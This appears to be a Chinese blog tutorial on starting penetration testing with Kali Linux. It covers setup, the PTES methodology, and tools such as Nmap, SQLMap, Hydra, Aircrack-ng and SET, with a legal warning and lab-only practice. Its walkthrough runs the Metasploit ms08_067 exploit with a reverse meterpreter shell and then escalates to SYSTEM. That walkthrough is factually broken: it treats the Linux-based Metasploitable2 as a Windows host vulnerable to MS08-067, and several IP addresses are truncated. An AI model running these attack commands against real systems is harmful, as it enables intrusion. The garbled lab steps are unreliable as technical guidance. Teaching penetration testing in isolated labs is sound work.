杰瑞科技汇

Kali Linux渗透教程从哪开始学?

目录

  1. Kali Linux 简介:它是什么?
  2. 重要声明与法律警告
  3. 第一步:准备工作与环境搭建
    • 1 下载 Kali Linux 镜像
    • 2 选择安装方式:虚拟机 vs. 物理机
    • 3 在 VMware/VirtualBox 中安装 Kali
    • 4 配置网络(NAT 桥接模式)
  4. 第二步:Kali Linux 基础入门
    • 1 初次启动与用户配置
    • 2 更新系统
    • 3 文件系统与基本命令
    • 4 包管理器 (apt)
  5. 第三步:渗透测试方法论(PTES)
    • 1 信息收集
    • 2 漏洞分析
    • 3 渗透攻击
    • 4 后渗透
    • 5 报告编写
  6. 第四步:核心工具实战演练
    • 1 信息收集工具:Nmap, Maltego, theHarvester
    • 2 漏洞扫描与分析:Nessus, OpenVAS, Nikto
    • 3 Web 应用攻击:Burp Suite, SQLMap, Metasploit Framework
    • 4 密码攻击:John the Ripper, Hashcat, Hydra
    • 5 无线网络攻击:Aircrack-ng 套件
    • 6 社会工程学:Social Engineering Toolkit (SET)
  7. 第五步:完整渗透测试模拟场景
    • 1 目标设定:VulnHub 上的 Metasploitable2
    • 2 信息收集
    • 3 漏洞扫描与发现
    • 4 渗透攻击与获取 Shell
    • 5 权限提升
    • 6 清理痕迹与总结
  8. 第六步:学习资源与进阶路径
    • 1 官方文档
    • 2 在线课程
    • 3 书籍
    • 4 CTF 平台
  9. 总结与最佳实践

Kali Linux 简介:它是什么?

Kali Linux 是一个基于 Debian 的 Linux 发行版,由 Offensive Security 公司维护,它被设计成一个专业的渗透测试和安全审计平台

Kali Linux渗透教程从哪开始学?-图1
(图片来源网络,侵删)

核心特点:

  • 预装工具集:包含了数百个已预配置好的安全工具,如信息收集、漏洞分析、Web 应用分析、数据库评估、密码攻击、无线攻击等。
  • 多语言支持:默认支持英语,但也提供了对大量其他语言的支持。
  • 高度可定制:用户可以根据自己的需求进行定制。
  • 开源免费:遵循开源协议,任何人都可以免费下载和使用。

它不是什么?

Kali Linux 不是一个日常使用的操作系统,它是一个专业的安全工具箱,不适合作为办公、娱乐或开发的主系统,滥用其工具进行非法活动是严重的犯罪行为。


重要声明与法律警告

⚠️ 极其重要:请仔细阅读并理解以下内容 ⚠️

Kali Linux渗透教程从哪开始学?-图2
(图片来源网络,侵删)
  • 合法性是第一原则未经明确书面许可,对任何不属于你的系统进行渗透测试都是非法的。 这包括但不限于你的朋友、家人、公司或任何公共网络。
  • 法律后果:非法入侵他人计算机系统可能导致严重的法律后果,包括但不限于罚款、监禁和永久性的犯罪记录。
  • 道德责任:作为一名(未来的)安全专业人员,你有道德责任确保你的行为是合法和合乎道德的。
  • 学习环境:本教程的所有实战演练都将在你自己的、隔离的、授权的环境中进行(在虚拟机中运行 VulnHub 的靶机)。
  • 负责任地披露:如果你在合法授权的测试中发现漏洞,应遵循负责任披露的原则,即首先向相关方报告,而不是公开或利用漏洞。

在继续之前,请确保你已阅读并同意以上声明。


第一步:准备工作与环境搭建

为了安全地学习,我们推荐使用虚拟机,这样,你的主系统(Windows/macOS)不会受到影响,并且可以轻松地创建、快照和销毁靶机环境。

1 下载 Kali Linux 镜像

访问 Kali Linux 官方网站:https://www.kali.org/get-kali/

下载适合你的虚拟机平台的镜像文件,kali-linux-2025.2-vmware-amd64.ovakali-linux-2025.2-virtualbox-amd64.ova

Kali Linux渗透教程从哪开始学?-图3
(图片来源网络,侵删)

2 选择安装方式:虚拟机 vs. 物理机

  • 虚拟机 (推荐)
    • 优点:安全、隔离、可快照、易于恢复、资源占用灵活。
    • 缺点:性能有一定损耗。
    • 推荐软件:VMware Workstation Player (免费) 或 Oracle VirtualBox (免费)。
  • 物理机 (进阶)
    • 优点:性能最佳,可以直接操作硬件(如无线网卡)。
    • 缺点:需要额外的电脑,有操作风险,无法像虚拟机那样轻松重置。
    • 安装方式:通过 U 盘进行安装,类似于安装 Ubuntu 等其他 Linux 发行版。

3 在 VMware/VirtualBox 中安装 Kali

  1. 安装 VMware Player 或 VirtualBox。
  2. 打开软件,选择“打开虚拟机”或“导入设备”,并选择你下载的 .ova 文件。
  3. 导入完成后,启动虚拟机。
  4. 首次启动时,Kali 会自动调整屏幕分辨率和网络设置,根据提示完成初始设置(如创建用户、设置时区等)。

4 配置网络(NAT 桥接模式)

为了让 Kali 能够与你的主系统以及互联网通信,需要配置网络模式。

  • NAT 模式:默认模式,Kali 可以访问互联网,但外部无法直接访问 Kali,适合下载工具。
  • 桥接模式:将 Kali 的虚拟网卡与你的物理网卡桥接,使 Kali 在网络中看起来像一台独立的物理机。这是进行渗透测试时最常用的模式,因为它允许你像真实攻击者一样从局域网内访问目标。

在 VMware/VirtualBox 的虚拟机设置中,将网络适配器类型改为“桥接模式”。


第二步:Kali Linux 基础入门

1 初次启动与用户配置

  • 默认用户kali / kali
  • 默认 root 用户root / toor (首次登录后建议为 root 设置一个强密码)
  • 建议:创建一个你自己的普通用户进行日常操作,只在需要时使用 sudo 提权。

2 更新系统

保持系统工具的最新版本至关重要,打开终端,执行:

# 更新软件包列表
sudo apt update
# 升级所有已安装的软件包
sudo apt upgrade -y
# 升级系统(如果有新版本的可用)
sudo apt full-upgrade -y

3 文件系统与基本命令

熟悉 Linux 命令行是使用 Kali 的基础。

  • 文件/目录操作
    • ls:列出文件和目录 (ls -la 显示详细信息)
    • cd:切换目录 (cd .. 返回上级目录)
    • pwd:显示当前所在目录
    • mkdir:创建目录 (mkdir test_dir)
    • touch:创建空文件 (touch file.txt)
    • cp:复制 (cp file1.txt dir1/)
    • mv:移动/重命名 (mv file1.txt file2.txt)
    • rm:删除 (rm file.txt; rm -r dir/ 递归删除目录)
    • cat / less:查看文件内容
  • 权限操作
    • chmod:修改文件权限 (chmod +x script.sh 给脚本添加执行权限)
  • 网络操作
    • ifconfig / ip addr:查看本机 IP 地址
    • ping:测试网络连通性 (ping 8.8.8.8)
    • ssh:通过 SSH 连接到远程主机 (ssh user@ip_address)

4 包管理器 (apt)

apt 是 Debian 系统的包管理器,用于安装、更新和删除软件。

# 安装一个新工具
sudo apt install nmap
# 搜索一个工具
apt search nmap
# 删除一个工具
sudo apt remove nmap

第三步:渗透测试方法论

一个专业的渗透测试遵循一个标准化的流程,最常用的是 PTES (Penetration Testing Execution Standard)

1 信息收集

  • 目标:尽可能多地收集关于目标的信息。
  • 域名、IP 地址、邮件地址、员工信息、技术栈、开放端口等。
  • Kali 工具Nmap, Maltego, theHarvester, Recon-ng, Shodan

2 漏洞分析

  • 目标:识别在信息收集中发现的资产上存在的潜在安全漏洞。
  • 识别操作系统、服务、应用程序的版本,并查找与这些版本相关的已知漏洞。
  • Kali 工具Nmap (脚本扫描), Nessus, OpenVAS, Nikto

3 渗透攻击

  • 目标:利用发现的漏洞获取对系统的访问权限。
  • 尝试各种攻击向量,如缓冲区溢出、SQL 注入、跨站脚本、暴力破解等。
  • Kali 工具Metasploit Framework, Burp Suite, SQLMap, Hydra

4 后渗透

  • 目标:在获得初始访问权限后,提升权限、维持访问、在内网中横向移动,并收集更多敏感信息。
  • 权限提升、安装后门、内网探测、数据窃取。
  • Kali 工具Mimikatz, Meterpreter, Smbmap, Netcat

5 报告编写

  • 目标:将测试过程、发现、风险和修复建议整理成一份清晰、专业的报告。
  • 执行摘要、详细发现、漏洞评级、修复方案。
  • Kali 工具Markdown 编辑器, LaTeX, Dradis

第四步:核心工具实战演练

这里我们只介绍每个类别的代表性工具,详细用法需要通过 man 命令或官方文档学习。

1 信息收集工具

  • Nmap (Network Mapper)

    • 功能:网络发现和安全审计,端口扫描是它的核心功能。

    • 常用命令

      # 扫描单个主机的所有 TCP 端口
      nmap -p- 192.168.1.10
      # 进行服务版本和操作系统探测
      nmap -sV -O 192.168.1.10
      # 进行全端口 UDP 扫描 (较慢)
      nmap -sU -p- 192.168.1.10
      # 使用 NSE 脚本扫描漏洞
      nmap --script vuln 192.168.1.10

2 漏洞扫描与分析

  • Nessus
    • 功能:业界领先的漏洞扫描器,拥有庞大的漏洞数据库。
    • 使用:需要从官网下载并注册免费版,然后启动其服务,在 Kali 中通过浏览器访问 https://127.0.0.1:8834 进行管理。
  • OpenVAS
    • 功能:Nessus 的一个强大的开源替代品。
    • 使用:在 Kali 中,运行 sudo gvm-setup 来初始化和启动服务,通过浏览器访问 https://127.0.0.1:9392 进行管理。

3 Web 应用攻击

  • Burp Suite
    • 功能:Web 应用渗透测试的瑞士军刀,它是一个集代理、扫描器、入侵者、重放器于一体的集成平台。
    • 使用:配置你的浏览器代理指向 Burp Suite (默认 0.0.1:8080),所有浏览器的流量都会经过 Burp,你可以拦截、修改和分析 HTTP/S 请求。
  • SQLMap
    • 功能:自动化 SQL 注入工具。
    • 使用:当你发现一个可能存在 SQL 注入的 URL 时,可以将它交给 SQLMap。
      # 自动检测并利用注入点
      sqlmap -u "http://example.com/page.php?id=1"

4 密码攻击

  • John the Ripper
    • 功能:快速的密码破解工具,支持多种哈希算法。
    • 使用:通常用于破解获取到的密码哈希文件。
  • Hashcat
    • 功能:号称世界上最快的密码破解工具,利用 GPU 进行大规模并行计算。
    • 使用:功能强大但命令行参数复杂,是高级密码破解的首选。
  • Hydra
    • 功能:在线密码破解工具,支持多种协议 (SSH, FTP, HTTP, RDP 等)。
    • 使用:对登录表单或服务进行暴力破解或字典攻击。
      # 破解 SSH
      hydra -l admin -P /path/to/wordlist.txt ssh://192.168.1.10

5 无线网络攻击

  • Aircrack-ng 套件
    • 功能:一套用于评估 Wi-Fi 网络安全的工具集。
    • 流程
      1. airmon-ng:将无线网卡监听模式。
      2. airodump-ng:扫描并监听附近的 Wi-Fi 网络,捕获握手包。
      3. aireplay-ng:进行 Deauthentication 攻击,强制客户端重新连接以捕获握手包。
      4. aircrack-ng:使用密码字典破解捕获到的握手包。

6 社会工程学

  • Social Engineering Toolkit (SET)
    • 功能:自动化社会工程学攻击,如钓鱼网站、USB 攻击等。
    • 使用:在终端输入 setoolkit 启动交互式菜单。

第五步:完整渗透测试模拟场景

让我们将学到的知识串联起来,进行一次完整的实战演练。

1 目标设定:VulnHub 上的 Metasploitable2

VulnHub 是一个提供各种故意设计有漏洞的虚拟机镜像的平台,是绝佳的练习靶场。

  1. 下载靶机:从 VulnHub 下载 Metasploitable2 的镜像文件。
  2. 导入靶机:将下载的镜像导入到你的 VMware/VirtualBox 中,并启动它。
  3. 获取靶机 IP:在 Metasploitable2 的终端中运行 ifconfig,记下它的 IP 地址(168.1.20)。

2 信息收集 (在 Kali 中执行)

  1. 使用 Nmap 扫描靶机
    nmap -sV -O -p- 192.168.1.20
    • 分析结果:你会看到靶机开放了大量端口,如 21 (FTP), 22 (SSH), 23 (Telnet), 80 (HTTP), 139/445 (SMB), 1433 (MS SQL Server) 等,并且很多服务版本非常老旧,存在已知漏洞。

3 漏洞扫描与发现

  1. 使用 Nmap NSE 脚本扫描 SMB 漏洞
    nmap --script vuln 192.168.1.20
    • 分析结果:在输出中,你可能会看到一条关键信息:
      |   ms08-067: VULNERABLE:
      |   Microsoft Windows Server Service RPC Request Handling Remote Code Execution
      |     State: VULNERABLE
      |     IDs:  CVE:CVE-2008-4250
      |     Risk factor: HIGH
      |     Description:
      |       ...

      这表明靶机存在一个严重漏洞:ms08-067

4 渗透攻击与获取 Shell

  1. 使用 Metasploit Framework: Metasploit 是一个强大的渗透测试框架,集成了大量的攻击模块。

    # 启动 msfconsole
    msfconsole
    # 搜索 ms08-067 相关的模块
    search ms08_067
    # 使用该模块
    use exploit/windows/smb/ms08_067_netapi
    # 查看模块选项
    show options
    # 设置目标 RHOSTS (靶机 IP)
    set RHOSTS 192.168.1.20
    # 可以设置 PAYLOAD (攻击成功后执行的代码),这里使用一个简单的 meterpreter 反向 shell
    set payload windows/meterpreter/reverse_tcp
    # 设置 LHOST (你的 Kali IP)
    set LHOST 192.168.1.10  # <--- 替换成你自己的 Kali IP
    # 检查选项是否都已设置
    show options
    # 发起攻击
    exploit
  2. 获取 Meterpreter Shell: 如果攻击成功,你会得到一个 meterpreter > 的提示符,这是一个功能强大的交互式 shell。

    # 查看当前用户权限
    getuid
    # 查看系统信息
    sysinfo
    # 查看网络连接
    netstat
    # 查看文件
    ls C:\

5 权限提升

  1. 使用 Metasploit 的提权模块: 在 meterpreter > 提示符下,运行 post 模块。

    # 搜索提权模块
    search post/multi/recon/local_exploit_suggester
    # 使用该模块
    use post/multi/recon/local_exploit_suggester
    # 设置目标 SESSION (当前的 meterpreter 会话 ID)
    set SESSION 1  # <--- 替换成你的会话 ID
    # 运行
    run
  2. 分析结果并执行提权: 模块会列出当前系统上可能存在的提权漏洞,它可能会发现 MS10-015 漏洞,你可以找到对应的 exploit 模块再次利用,或者使用 getsystem 命令尝试自动提权。

    # 在 meterpreter 中尝试自动提权
    getsystem

    如果成功,再次执行 getuid,你会看到权限已经变成了 NT AUTHORITY\SYSTEM

6 清理痕迹与总结

  • 清理痕迹:在实际渗透测试中,清理痕迹非常重要,但在练习环境中,这步可以省略。
    • 我们通过信息收集发现了目标。
    • 通过漏洞扫描找到了 ms08-067 这个严重漏洞。
    • 使用 Metasploit 成功利用该漏洞获取了初始访问权限。
    • 进一步利用本地提权漏洞获得了最高权限。

这个流程完整地展示了 PTES 的前四个阶段。


第六步:学习资源与进阶路径

Kali 和渗透测试是一个庞大且不断发展的领域,学习永无止境。

  • 1 官方文档
  • 2 在线课程
    • Offensive Security (OSCP):业界黄金标准,但难度极高,需要扎实的功底。
    • TryHackMe:提供大量引导式、房间式的学习路径,非常适合初学者。
    • Hack The Box:提供大量在线靶机,模拟真实环境,适合进阶练习。
  • 3 书籍
    • 《The Web Application Hacker's Handbook》
    • 《Penetration Testing: A Hands-On Introduction to Hacking》
    • 《Metasploit: The Penetration Tester's Guide》
  • 4 CTF 平台
    • CTFtime.org:全球 CTF 比赛日历和题目集。
    • picoCTF:面向初学者的 CTF 平台。

总结与最佳实践

  • 理论与实践结合:不要只停留在看教程,一定要动手实践,VulnHub 和在线靶场是最好的朋友。
  • 理解原理:不要满足于“跑脚本”,理解每个工具背后的工作原理(如 TCP/IP 协议、HTTP 协议、漏洞原理)才能成为一名真正的专家。
  • 打好基础:计算机网络、操作系统、编程(至少 Python)是渗透测试的基石。
  • 保持好奇心和耐心:破解一个难题可能需要数小时甚至数天,享受这个过程。
  • 保持道德:始终牢记法律和道德的底线。

祝你学习顺利,早日成为一名优秀的网络安全专家!

分享:
扫描分享到社交APP
上一篇
下一篇